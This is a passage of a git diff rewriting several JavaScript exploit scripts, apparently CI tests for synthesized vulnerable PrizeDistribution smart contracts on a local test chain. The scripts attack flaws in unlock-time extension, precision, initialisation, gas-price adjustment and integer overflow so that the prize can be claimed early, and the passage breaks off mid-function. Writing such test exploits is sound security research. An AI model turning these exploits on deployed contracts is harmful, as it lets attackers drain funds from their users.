3; i++) { - let mediumTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD / 2, // Medium amount - gas: 300000 - }); - - console.log(`Medium extension ${i+1} sent, tx status: ${mediumTx.status}`); - await sleep(400); // Short delay between calls to create slight time differences - } - - // Step 4: Send a large amount to further extend the lock time and increase the prize - let largeExtendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 4, // Sending a large amount to trigger significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 5: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; // Assuming this account is the organizer's + + console.log("Attempting to exploit the precision error in unlock time extension..."); + + // Send an amount just below the threshold to demonstrate the precision error + let amountToSend = web3.utils.toWei('0.999999', 'ether'); + + await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: amountToSend, + gas: 300000 + }); + await sleep(200); + + // Retrieve the updated unlock time to check the effect of the precision error + let updatedUnlockTime = await contractInstance.methods.unlockTime().call(); + let currentTime = Math.floor(Date.now() / 1000); + let extendedTime = updatedUnlockTime - currentTime; + + console.log(`Updated unlock time is now ${extendedTime} seconds from now.`); + + if (extendedTime <= 86400) { // Check if the unlock time was not extended by the expected amount + console.log("Precision error exploited successfully: Unlock time was not extended as expected."); + return true; + } else { + console.error("Precision error not exploited: Unlock time extended more than expected."); + return false; + } + } catch (error) { + console.error("An error occurred during the exploit attempt:", error); + return false; + } } - + + + + + + + + @@ -144,7 +98,6 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-24.js b/CI/exploits/synthesized/PrizeDistributionExploit-24.js index f18594ed..7df04f7f 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-24.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-24.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-24.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,107 +34,51 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting combination manipulation..."); - - // Step 1: Incrementally extend the lock time with minimal amounts - for (let i = 0; i < 8; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(200); // Short delay between calls to create slight time differences - } - - // Step 2: Send amounts just below the threshold to avoid triggering bonuses - for (let i = 0; i < 4; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, // Just below the threshold - gas: 300000 - }); - - console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 3: Mix minimal and significant amounts to create confusion - for (let i = 0; i < 3; i++) { - // Send minimal amount - let minimalTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal extension ${i+1} sent, tx status: ${minimalTx.status}`); - await sleep(200); // Short delay between calls - - // Send significant amount - let significantTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 2, // Significant amount - gas: 300000 - }); - - console.log(`Significant extension ${i+1} sent, tx status: ${significantTx.status}`); - await sleep(300); // Short delay between calls - } - - // Step 4: Send a final large amount to extend the lock time significantly and increase the prize - let largeExtendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 5, // Sending a large amount to trigger significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 5: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; // Assuming this account is the organizer's + + console.log("Attempting to exploit the unlock time reduction flaw..."); + + // Send an amount just below the threshold to incorrectly reduce the unlock time + let amountToSend = web3.utils.toWei('0.5', 'ether'); // Below the 1 ether threshold + + await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: amountToSend, + gas: 300000 + }); + await sleep(200); + + // Check if the unlock time was inappropriately reduced + let newUnlockTime = await contractInstance.methods.unlockTime().call(); + let currentTime = Math.floor(Date.now() / 1000); + + console.log(`Updated unlock time: ${new Date(newUnlockTime * 1000).toString()}, Current time: ${new Date(currentTime * 1000).toString()}`); + + // If the unlock time is now less than the current time, the prize can potentially be claimed prematurely + if (newUnlockTime <= currentTime) { + console.log("Unlock time was reduced prematurely, allowing early prize claim."); + return true; // Exploit successful + } else { + console.error("The unlock time was not reduced as expected."); + return false; // Exploit failed + } + } catch (error) { + console.error("An error occurred during the exploit attempt:", error); + return false; + } } - + + + + + + + + @@ -155,7 +98,6 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-25.js b/CI/exploits/synthesized/PrizeDistributionExploit-25.js index 9cd95a21..7d9d970f 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-25.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-25.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-25.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -34,100 +33,51 @@ let BONUS_THRESHOLD = 10; * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. * @throws {Error} If there's an error during the exploit process. */ -async function exploitRapidAndStrategic(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting rapid and strategic manipulation..."); - - // Step 1: Rapidly send minimal amounts to extend the lock time incrementally - for (let i = 0; i < 10; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(100); // Very short delay between calls to create slight time differences - } - - // Step 2: Send amounts just below the threshold to avoid triggering bonuses - for (let i = 0; i < 5; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, // Just below the threshold - gas: 300000 - }); - - console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(200); // Short delay between calls to create slight time differences - } - - // Step 3: Send strategic larger amounts to extend the lock time significantly - for (let i = 0; i < 3; i++) { - let strategicTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 2, // Larger amount - gas: 300000 - }); - - console.log(`Strategic extension ${i+1} sent, tx status: ${strategicTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 4: Send a final large amount to extend the lock time significantly and increase the prize - let largeExtendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 4, // Sending a large amount to trigger significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 5: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let beneficiaryAccount = envInfo.accounts[1]; // Assuming this account is the beneficiary's + + console.log("Attempting to claim the prize immediately after contract deployment..."); + + // Attempt to claim the prize immediately + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(200); + + // Check if the transaction was successful and if the prize amount has been reset + let remainingPrize = await contractInstance.methods.prizeAmount().call(); + console.log(`Transaction status: ${claimTx.status}, Remaining prize amount: ${web3.utils.fromWei(remainingPrize, 'ether')} ETH`); + + if (claimTx.status && remainingPrize == 0) { + console.log("Prize successfully claimed immediately after contract deployment due to faulty unlock time initialization."); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize immediately; the prize is still locked."); + return false; // Exploit failed + } + } catch (error) { + console.error("An error occurred during the exploit attempt:", error); + return false; + } } + + + + + + + + + /** * Executes the exploit and checks its result * @@ -142,7 +92,6 @@ async function exploitRapidAndStrategic(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-3.js b/CI/exploits/synthesized/PrizeDistributionExploit-3.js index 7a038c46..12bb8c5a 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-3.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-3.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-3.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,71 +34,74 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting to manipulate the unlock time..."); - - // Manipulate the unlock time by alternating between minimal and threshold amounts - for (let i = 0; i < 5; i++) { - // First, send just below the threshold to avoid triggering the bonus period - let extendTx1 = await contractInstance.methods.extendLockTime().send({ + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting frequent small extensions to increase decay..."); + + // Step 1: Trigger small extensions to inflate the extensionCountToday + for (let i = 0; i < 10; i++) { + await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Minimum value to increase count + gas: 300000 + }); + await sleep(500); + } + + console.log("Small extensions done. Now making a large extension..."); + + // Step 2: Make a large extension, which will now have less effect + let largeExtensionTx = await contractInstance.methods.extendLockTime().send({ from: organizerAccount, - value: BONUS_THRESHOLD - 1, // Sending just below the threshold amount + value: web3.utils.toWei('1', 'ether'), // Normally this would extend significantly gas: 300000 - }); - console.log(`Manipulation ${i+1}-1 sent, tx status: ${extendTx1.status}`); - await sleep(500); // Short delay between calls - - // Then, send exactly the threshold amount to trigger a minimal bonus period - let extendTx2 = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD, // Sending exactly the threshold amount + }); + await sleep(500); + + let unlockTimeAfterLargeExtension = await contractInstance.methods.unlockTime().call(); + console.log("Unlock time after large extension:", unlockTimeAfterLargeExtension); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTimeAfterLargeExtension) { + let waitTime = unlockTimeAfterLargeExtension - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + } + + // Step 3: Claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, gas: 300000 - }); - console.log(`Manipulation ${i+1}-2 sent, tx status: ${extendTx2.status}`); - await sleep(500); // Short delay between calls - } - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Wait until just after the unlockTime to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + }); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } - + + + + + + + + diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-4.js b/CI/exploits/synthesized/PrizeDistributionExploit-4.js index 35291931..b2a60699 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-4.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-4.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-4.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,69 +34,76 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting precise timing manipulation..."); - - // Manipulate the lock time with minimal amounts, timed to exploit delays - for (let i = 0; i < 5; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Manipulation ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Send a transaction right before unlock time to ensure it processes just after unlock time - let currentTime = Math.floor(Date.now() / 1000); - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - console.log("Current system time:", currentTime); - - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime - 1; // Wait until just before the unlock time - console.log(`Waiting for ${waitTime} seconds until just before unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Send another minimal amount to try to sneak in just before unlock time - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - console.log(`Final manipulation sent, tx status: ${extendTx.status}`); - await sleep(500); - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Monitoring for high gas price to adjust prize..."); + + // Function to simulate high gas price condition + let simulateHighGasPrice = async () => { + let currentGasPrice = await web3.eth.getGasPrice(); + let highGasPrice = parseInt(currentGasPrice) + 10e9; // Increase by 10 Gwei + + let adjustTx = await contractInstance.methods.adjustPrizeBasedOnCongestion().send({ + from: organizerAccount, + value: web3.utils.toWei('1', 'ether'), + gasPrice: highGasPrice, // Set a high gas price to trigger the condition + gas: 300000 + }); + await sleep(500); + + console.log(`Adjustment made with high gas price, tx status: ${adjustTx.status}`); + return adjustTx.status; + }; + + let highGasTxStatus = await simulateHighGasPrice(); + + if (!highGasTxStatus) { + console.error("Adjustment transaction failed!"); + return false; + } + + // Check if unlock time was successfully reduced + let unlockTime = await contractInstance.methods.unlockTime().call(); + await sleep(500); + let currentTime = Math.floor(Date.now() / 1000); + console.log(`Unlock time after adjustment: ${unlockTime}, Current time: ${currentTime}`); + + if (currentTime >= unlockTime) { + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } else { + console.error("Unlock time not sufficiently reduced."); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } - + + + + + + + + diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-5.js b/CI/exploits/synthesized/PrizeDistributionExploit-5.js index c112df4d..2485fe9d 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-5.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-5.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-5.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,71 +34,61 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting bonus timing manipulation..."); - - // First, extend the lock time just enough to trigger a bonus period - for (let i = 0; i < 3; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD + 1, // Sending just above the threshold amount to trigger a bonus period - gas: 300000 - }); - - console.log(`Bonus extension ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(500); // Short delay between calls - } - - // Then, use minimal value transactions to create confusion in the unlock time - for (let i = 0; i < 3; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal extension ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(500); // Short delay between calls - } - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Initiating overflow exploit..."); + + // High-value transaction to push `totalStaked` close to overflow + let highValueTx = await contractInstance.methods.stake().send({ + from: organizerAccount, + value: web3.utils.toWei('10', 'ether'), // High initial stake to approach overflow + gas: 300000 + }); + await sleep(500); + + console.log(`High value stake transaction status: ${highValueTx.status}`); + + // Multiple transactions to trigger overflow + for (let i = 0; i < 10; i++) { // Number of attempts can vary based on current state + await contractInstance.methods.stake().send({ + from: organizerAccount, + value: web3.utils.toWei('100', 'ether'), // Large value to ensure overflow + gas: 300000 + }); + } + + console.log("Overflow likely triggered. Attempting to claim prize..."); + + // Check if the prize amount has been reset + let prizeAmount = await contractInstance.methods.prizeAmount().call(); + console.log(`Current prize amount: ${prizeAmount}`); + + // Attempt to claim the prize if prize amount is reset + if (parseInt(prizeAmount) === 0) { + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + + if (claimTx.status) { + console.log("Prize successfully claimed post-overflow!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize post-overflow!"); + return false; // Exploit failed + } + } else { + console.error("Overflow did not reset prize amount as expected."); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } @@ -107,6 +96,14 @@ async function exploit(web3, envInfo, contractAddress) { + + + + + + + + /** * Executes the exploit and checks its result * diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-6.js b/CI/exploits/synthesized/PrizeDistributionExploit-6.js index 23e35e9c..da97c7e7 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-6.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-6.js @@ -11,16 +11,15 @@ const { const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-6.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,72 +34,56 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting prize increment manipulation..."); - - // Step 1: Increase the prize amount significantly without extending the lock time too much - for (let i = 0; i < 10; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, // Sending just below the threshold amount - gas: 300000 - }); - - console.log(`Increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 2: Send a large amount to extend the lock time significantly and increase the prize - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 5, // Sending a large amount to trigger significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: ${extendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 3: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Activating special event to temporarily bypass unlock time..."); + + // 